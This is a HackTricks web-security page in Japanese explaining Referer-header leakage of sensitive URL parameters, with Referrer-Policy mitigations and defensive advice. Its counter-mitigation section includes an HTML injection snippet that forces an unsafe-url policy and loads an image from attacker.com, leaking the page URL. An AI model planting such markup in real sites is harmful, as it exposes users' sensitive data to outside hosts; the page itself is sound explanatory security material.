hacktricks/src/interesting-http.md

1.5 KiB
Raw Blame History

{{#include ./banners/hacktricks-training.md}}

リファラーヘッダーとポリシー

リファラーは、ブラウザが前に訪れたページを示すために使用するヘッダーです。

機密情報の漏洩

ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができるソーシャルエンジニアリング場合、最新のGETリクエスト内の機密情報を抽出できる可能性があります。

緩和策

ブラウザが機密情報が他のウェブアプリケーションに送信されるのを回避するリファラーポリシーに従うようにすることができます:

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

カウンター緩和

このルールはHTMLメタタグを使用して上書きできます攻撃者はHTMLインジェクションを利用する必要があります

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

防御

GETパラメータやURLのパスに機密データを入れないでください。

{{#include ./banners/hacktricks-training.md}}